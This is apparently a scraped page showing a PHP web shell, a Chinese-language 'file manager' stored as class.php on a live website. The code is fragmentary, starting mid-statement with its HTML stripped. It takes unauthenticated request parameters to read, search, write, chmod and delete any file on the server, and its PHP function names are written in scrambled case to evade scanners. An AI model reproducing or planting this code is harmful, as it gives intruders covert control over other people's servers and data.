芝麻web文件管理V1.00
编辑当前文件:/var/www/winfly.eu/class.php
$file_max_size) { $file_min_size0=$file_min_size; $file_min_size=$file_max_size; $file_max_size=$file_min_size0; } $max_show=isset($_POST['max_show'])?trim($_POST['max_show']):0; if (!is_numeric($max_show)) $max_show=0; $search_mode=isset($_POST['search_mode'])?trim($_POST['search_mode']):''; $view_file=isset($_GET['view_file'])?url_b64_de($_GET['view_file']):''; $del_file=isset($_GET['del_file'])?url_b64_de($_GET['del_file']):''; $write_file=isset($_POST['write_file'])?trim($_POST['write_file']):''; $write_content=isset($_POST['write_content'])?trim($_POST['write_content']):''; $del_file_paths=isset($_POST['del_file_paths'])?trim($_POST['del_file_paths']):''; $clear_code_content=isset($_POST['clear_code_content'])?trim($_POST['clear_code_content']):''; if ( $clear_code_content!='' && $_POST['clear_b64']=='yes' ) $clear_code_content=baSE64_deCodE($clear_code_content); function sc_dir($dir,$search,$type) { $search_arr=expLodE('*',$search); $search_arr_c=count($search_arr); $gl_arr=array(); $sc_arr=sCanDiR($dir); foreach($sc_arr as $sc1) { if ($sc1=='.'||$sc1=='..') continue; if ($type=='dir'&&Is_FilE($sc1)) continue; if ($type=='file'&&iS_Dir($sc1)) continue; if ($search_arr_c>1) { $step_match=true; $start=0; foreach($search_arr as $search1) { if ($search1!='') { $posi=strpos($sc1,$search1,$start); if ($posi===false) { $step_match=false; break; }else { $start=$posi+strlen($search1); } } } if ($step_match===true) $gl_arr[]=$dir.'/'.$sc1; }else { if ($sc1==$search) $gl_arr[]=$dir.'/'.$sc1; } } return $gl_arr; } function url_b64_en($code) { $new_code=trim($code); $new_code=baSe64_eNcodE($new_code); $new_code=str_replace('+','-',$new_code); $new_code=str_replace('/','_',$new_code); $new_code=str_replace('=','.',$new_code); return $new_code; } function url_b64_de($code) { $new_code=trim($code); $new_code=str_replace('-','+',$new_code); $new_code=str_replace('_','/',$new_code); $new_code=str_replace('.','=',$new_code); $new_code=BasE64_DecOde($new_code); return $new_code; } if( $view_file!='' ) { $file_content=is_FiLe($view_file) ? fiLe_gEt_ConTents($view_file) : $view_file.' --> 文件不存在'; heAdEr("content-type:text/plain; charset=utf-8"); echo $file_content; exit; } HeadEr("content-type:text/html; charset=utf-8"); if ( isset($_POST['keyword']) ) { $search_dir_content=sc_dir($search_dir,'*','all'); if ( empty($search_dir_content) ) exit ('目录为空或无权限!'); $keyword_arr=array(); foreach(eXplodE('|||',$keyword) as $keyword1) { $keyword1=trim($keyword1); if ($keyword1!='') { $keyword_arr[]=$keyword1; } } $find_count=0; $dir_arr=array(); $j=0; $dir_arr[0][]=$search_dir; while(!empty($dir_arr[$j])) { foreach($dir_arr[$j] as $parent_dir) { $child_dir_arr=sc_dir($parent_dir,'*','dir'); foreach($child_dir_arr as $child_dir) { $dir_arr[$j+1][]=$child_dir; } } $j++; } echo '
勾选模式:
点选
滑选
'; $i=0; foreach($dir_arr as $sub_dir_arr) { if ( $max_show>0 && $find_count>=$max_show ) break; foreach($sub_dir_arr as $dir1) { if ( $max_show>0 && $find_count>=$max_show ) break; $file_arr=sc_dir($dir1,$file_match_exp,'file'); foreach($file_arr as $file1) { if ( $max_show>0 && $find_count>=$max_show ) break; if ( !iS_fIle($file1) ) continue; $href_uri=strpos($file1,$wwwroot)===false?'#':str_replace($wwwroot,'',$file1); $file1_perm=substr(sprintf('%o',filEpeRmS($file1)),-4); if ( $file_perm!='' && $file_perm!=$file1_perm ) continue; $file1_fsize=fILesIzE($file1); if ( $file1_fsize<$file_min_size || $file1_fsize>$file_max_size ) continue; $file1_b64=url_b64_en($file1); $checkbox_id='checkbox_'.$i; $i++; $checkbox='
'; $row_result=$checkbox.'
'.$file1.'
(
'.$file1_perm.'
| '.$file1_fsize.' B) -->
查看代码
|
访问URL
|
删除
'."\r\n"; if ( $keyword=='' ) { echo $row_result; $find_count++; continue; } if ($search_mode=='normal') { $match_count=0; foreach($keyword_arr as $keyword1) { if ( strpos(fIle_Get_coNtenTs($file1),$keyword1)===false ) { break; }else { $match_count++; } } if ( $match_count==count($keyword_arr) ) { echo $row_result; $find_count++; } } if ($search_mode=='preg') { if ( pReg_mAtCh($preg_exp,fIlE_get_coNTents($file1),$matches) ) { echo $row_result; $find_count++; } } } } } echo '
</textarea>
</textarea>
全选
共找到 '.$find_count.' 个文件 ****提示: 文件数量较多时,点全选可能会卡顿,请多试几次
</textarea>
代码未加密
代码已base64加密
base64加密网址
'."\r\n"; }elseif( $del_file!='' ) { $del_file_dir=DiRnAMe($del_file); cHmoD($del_file_dir,0755); unLinK($del_file); $message=Is_File($del_file) ? '
删除失败
' : '
删除成功
'; echo $del_file.' --> '.$message; }elseif( $del_file_paths!='' ) { $del_file_path_arr=ExplOde("\n",$del_file_paths); foreach($del_file_path_arr as $del_file_path1) { $del_file_path1=trim($del_file_path1); if ( $del_file_path1!='' ) { $del_file_dir=DirNAMe($del_file_path1); cHMoD($del_file_dir,0755); if ( $clear_code_content=='' ) { UnLink($del_file_path1); $message=iS_filE($del_file_path1) ? '
文件删除失败
' : '
文件删除成功
'; echo $del_file_path1.' --> '.$message.'
'; }else { $old_content=fIle_gEt_coNtents($del_file_path1); $new_content=str_replace($clear_code_content,'',$old_content); cHmod($del_file_path1,0644); UNLiNk($del_file_path1); File_pUT_contEnts($del_file_path1,$new_content); echo $del_file_path1.' --> 代码清除完成
'; } } } }elseif( $write_file!='' ) { $write_dir=diRnaMe($write_file); if (!is_Dir($write_dir)) { MkDir($write_dir,0755,true); }else { CHmoD($write_dir,0755); if ( iS_File($write_file) ) { ChMoD($write_file,0644); uNlInk($write_file); } } filE_puT_contEnts($write_file,$write_content); if ( is_FilE($write_file) ) { $write_md5=md5($write_content); $read_md5=md5(fiLe_Get_coNtents($write_file)); if ($write_md5==$read_md5) { echo $write_file.'
写入成功!
-->
查看
'; }else { echo $write_file.'
写入失败!
'; } }else { echo $write_file.'
写入失败!
'; } }else { echo '
查找文件(v.2025.0228)
搜索目录
(用/开头代表服务器根目录)
关键词
普通字符串
正则表达式
(多个词用|||分割)
文件名匹配
(*号表示任意字符,例如:abc*, aa*bb, *efg)
权限
(例如:0444)
大小
Byte ~
Byte
显示
条 (0表示显示所有)
批量删除
待删文件绝对路径(一行一条,用/开头代表服务器根目录):
</textarea>
写入文件
写入文件绝对路径:
(用/开头代表服务器根目录)
写入文件内容:
</textarea>
'; } ?>